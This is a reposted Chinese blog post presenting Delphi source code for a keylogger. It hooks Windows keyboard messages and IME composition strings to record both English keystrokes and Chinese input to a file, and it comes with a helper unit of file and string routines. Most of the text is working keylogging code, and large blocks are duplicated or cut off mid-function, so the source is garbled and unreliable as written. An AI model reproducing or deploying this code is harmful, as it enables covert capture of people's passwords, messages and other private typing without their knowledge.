一个中英文键盘记录源代码
function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;//回调函数
var
pcs:pMSG;//定义消息指针
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PMSG(lparam);
if pcs^.message = WM_KEYUP then
begin
if pcs^.wParam<$30 then
begin
if pcs^.wParam=VK_UP then ToFileProc('[↑]')
else
if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
else
if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
else
if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
else
if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了
else
if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
else
if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
else
if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
else
if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
else
if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
end;
end
else
if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
begin
if not (IsDBCSleadByte(pcs^.wParam)) then
begin
if (wParam and PM_REMOVE)>0 then
begin
if pcs^.wParam=VK_SPACE then ToFileProc(' ')
else
if pcs^.wParam=VK_RETURN then ToFileProc('#10')
else
ToFileProc(char(pcs^.wParam AND $FF))
end;
end;
end;
end;
pcs:=nil;
end;
var
pcs:pMSG;//定义消息指针
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PMSG(lparam);
if pcs^.message = WM_KEYUP then
begin
if pcs^.wParam<$30 then
begin
if pcs^.wParam=VK_UP then ToFileProc('[↑]')
else
if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
else
if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
else
if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
else
if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了
else
if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
else
if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
else
if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
else
if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
else
if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
end;
end
else
if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
begin
if not (IsDBCSleadByte(pcs^.wParam)) then
begin
if (wParam and PM_REMOVE)>0 then
begin
if pcs^.wParam=VK_SPACE then ToFileProc(' ')
else
if pcs^.wParam=VK_RETURN then ToFileProc('#10')
else
ToFileProc(char(pcs^.wParam AND $FF))
end;
end;
end;
end;
pcs:=nil;
end;
function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;
var
dwLen:DWORD;
himc:HWND;
hFocus:THandle;
pcs:PCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PCWPSTRUCT(lparam);
if PCs^.message = WM_IME_COMPOSITION then
begin
hFocus := GetFocus();
HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
if HIMC = 0 then Exit;
//将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
if dwLen > 0 then
begin
// 再调用一次.ImmGetCompositionString获取字符串
if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
begin
if strcomp(cchar,cchar2)<>0 then
ToFileProc(cchar);
strcopy(cchar2,cchar);
ZeroMemory(@cchar,20);
end;
end;
ImmReleaseContext(hFocus, HIMC);
end;
end;
pcs:=nil;
end;
unit Unit_Other;
var
dwLen:DWORD;
himc:HWND;
hFocus:THandle;
pcs:PCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PCWPSTRUCT(lparam);
if PCs^.message = WM_IME_COMPOSITION then
begin
hFocus := GetFocus();
HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
if HIMC = 0 then Exit;
//将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
if dwLen > 0 then
begin
// 再调用一次.ImmGetCompositionString获取字符串
if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
begin
if strcomp(cchar,cchar2)<>0 then
ToFileProc(cchar);
strcopy(cchar2,cchar);
ZeroMemory(@cchar,20);
end;
end;
ImmReleaseContext(hFocus, HIMC);
end;
end;
pcs:=nil;
end;
unit Unit_Other;
interface
uses
Windows;
uses
Windows;
const
WM_DRAWCLIPBOARD = $0308;
WM_CHANGECBCHAIN = $030D;
{======================Messages.pas============================================}
const
NULL = 0;
WM_DESTROY = $0002;
WM_CHAR = $0102;
WM_IME_CHAR = $0286;
WM_IME_COMPOSITION = $010F;
{======================Imm.pas=================================================}
type
HIMC = Integer;
const
GCS_RESULTSTR = $0800;
imm32 = 'imm32.dll';
WM_DRAWCLIPBOARD = $0308;
WM_CHANGECBCHAIN = $030D;
{======================Messages.pas============================================}
const
NULL = 0;
WM_DESTROY = $0002;
WM_CHAR = $0102;
WM_IME_CHAR = $0286;
WM_IME_COMPOSITION = $010F;
{======================Imm.pas=================================================}
type
HIMC = Integer;
const
GCS_RESULTSTR = $0800;
imm32 = 'imm32.dll';
function ImmGetContext(hWnd: HWND): HIMC; stdcall; external imm32 name 'ImmGetContext';
function ImmGetCompositionString(hImc: HIMC; dWord1: DWORD; lpBuf: pointer; dwBufLen: DWORD): Longint; stdcall;external imm32 name 'ImmGetCompositionStringA';
function ImmReleaseContext(hWnd: HWND; hImc: HIMC): Boolean; stdcall;external imm32 name 'ImmReleaseContext';
{====================== SysUtils.pas==================================================}
function ImmGetCompositionString(hImc: HIMC; dWord1: DWORD; lpBuf: pointer; dwBufLen: DWORD): Longint; stdcall;external imm32 name 'ImmGetCompositionStringA';
function ImmReleaseContext(hWnd: HWND; hImc: HIMC): Boolean; stdcall;external imm32 name 'ImmReleaseContext';
{====================== SysUtils.pas==================================================}
function StrCopy(Dest: PChar; const Source: PChar): PChar;
function StrComp(const Str1, Str2: PChar): Integer;
function FileExists(const FileName: string): Boolean;
const
fmOpenRead = $0000;
fmOpenWrite = $0001;
fmOpenReadWrite = $0002;
function StrComp(const Str1, Str2: PChar): Integer;
function FileExists(const FileName: string): Boolean;
const
fmOpenRead = $0000;
fmOpenWrite = $0001;
fmOpenReadWrite = $0002;
fmShareCompat = $0000 platform; // DOS compatibility mode is not portable
fmShareExclusive = $0010;
fmShareDenyWrite = $0020;
fmShareDenyRead = $0030 platform; // write-only not supported on all platforms
fmShareDenyNone = $0040;
function FileCreate(const FileName: string): Integer;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
function FileSeek(Handle, Offset, Origin: Integer): Integer;
function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
procedure FileClose(Handle: Integer);
implementation
type
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array[0..1] of Word);
2: (Bytes: array[0..3] of Byte);
end;
fmShareExclusive = $0010;
fmShareDenyWrite = $0020;
fmShareDenyRead = $0030 platform; // write-only not supported on all platforms
fmShareDenyNone = $0040;
function FileCreate(const FileName: string): Integer;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
function FileSeek(Handle, Offset, Origin: Integer): Integer;
function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
procedure FileClose(Handle: Integer);
implementation
type
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array[0..1] of Word);
2: (Bytes: array[0..3] of Byte);
end;
function FileAge(const FileName: string): Integer;
var
Handle: THandle;
FindData: TWin32FindData;
LocalFileTime: TFileTime;
begin
Handle := FindFirstFile(PChar(FileName), FindData);
if Handle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(Handle);
if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
LongRec(Result).Lo) then Exit;
end;
end;
Result := -1;
end;
var
Handle: THandle;
FindData: TWin32FindData;
LocalFileTime: TFileTime;
begin
Handle := FindFirstFile(PChar(FileName), FindData);
if Handle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(Handle);
if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
LongRec(Result).Lo) then Exit;
end;
end;
Result := -1;
end;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
PUSH EDI
PUSH ESI
MOV ESI,EAX
MOV EDI,EDX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,ECX
MOV EAX,EDI
SHR ECX,2
REP MOVSD
MOV ECX,EDX
AND ECX,3
REP MOVSB
POP ESI
POP EDI
end;
function StrComp(const Str1, Str2: PChar): Integer; assembler;
asm
PUSH EDI
PUSH ESI
MOV EDI,EDX
MOV ESI,EAX
MOV ECX,0FFFFFFFFH
XOR EAX,EAX
REPNE SCASB
NOT ECX
MOV EDI,EDX
XOR EDX,EDX
REPE CMPSB
MOV AL,[ESI-1]
MOV DL,[EDI-1]
SUB EAX,EDX
POP ESI
POP EDI
end;
asm
PUSH EDI
PUSH ESI
MOV ESI,EAX
MOV EDI,EDX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,ECX
MOV EAX,EDI
SHR ECX,2
REP MOVSD
MOV ECX,EDX
AND ECX,3
REP MOVSB
POP ESI
POP EDI
end;
function StrComp(const Str1, Str2: PChar): Integer; assembler;
asm
PUSH EDI
PUSH ESI
MOV EDI,EDX
MOV ESI,EAX
MOV ECX,0FFFFFFFFH
XOR EAX,EAX
REPNE SCASB
NOT ECX
MOV EDI,EDX
XOR EDX,EDX
REPE CMPSB
MOV AL,[ESI-1]
MOV DL,[EDI-1]
SUB EAX,EDX
POP ESI
POP EDI
end;
function FileExists(const FileName: string): Boolean;
begin
Result := FileAge(FileName) <> -1;
end;
begin
Result := FileAge(FileName) <> -1;
end;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
{$IFDEF MSWINDOWS}
const
AccessMode: array[0..2] of LongWord = (
GENERIC_READ,
GENERIC_WRITE,
GENERIC_READ or GENERIC_WRITE);
ShareMode: array[0..4] of LongWord = (
0,
0,
FILE_SHARE_READ,
FILE_SHARE_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE);
begin
Result := -1;
if ((Mode and 3) <= fmOpenReadWrite) and
((Mode and $F0) <= fmShareDenyNone) then
Result := Integer(CreateFile(PChar(FileName), AccessMode[Mode and 3],
ShareMode[(Mode and $F0) shr 4], nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0));
end;
{$ENDIF}
{$IFDEF MSWINDOWS}
const
AccessMode: array[0..2] of LongWord = (
GENERIC_READ,
GENERIC_WRITE,
GENERIC_READ or GENERIC_WRITE);
ShareMode: array[0..4] of LongWord = (
0,
0,
FILE_SHARE_READ,
FILE_SHARE_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE);
begin
Result := -1;
if ((Mode and 3) <= fmOpenReadWrite) and
((Mode and $F0) <= fmShareDenyNone) then
Result := Integer(CreateFile(PChar(FileName), AccessMode[Mode and 3],
ShareMode[(Mode and $F0) shr 4], nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0));
end;
{$ENDIF}
function FileSeek(Handle, Offset, Origin: Integer): Integer;
begin
Result := SetFilePointer(THandle(Handle), Offset, nil, Origin);
end;
begin
Result := SetFilePointer(THandle(Handle), Offset, nil, Origin);
end;
function FileCreate(const FileName: string): Integer;
begin
Result := Integer(CreateFile(PChar(FileName), GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
end;
begin
Result := Integer(CreateFile(PChar(FileName), GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
end;
function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
begin
if not WriteFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
Result := -1;
end;
begin
if not WriteFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
Result := -1;
end;
procedure FileClose(Handle: Integer);
begin
CloseHandle(THandle(Handle));
end;
end.
begin
CloseHandle(THandle(Handle));
end;
end.
mybr的
本文转自9pc9com博客,原文链接: http://blog.51cto.com/215363/916118 如需转载请自行联系原作者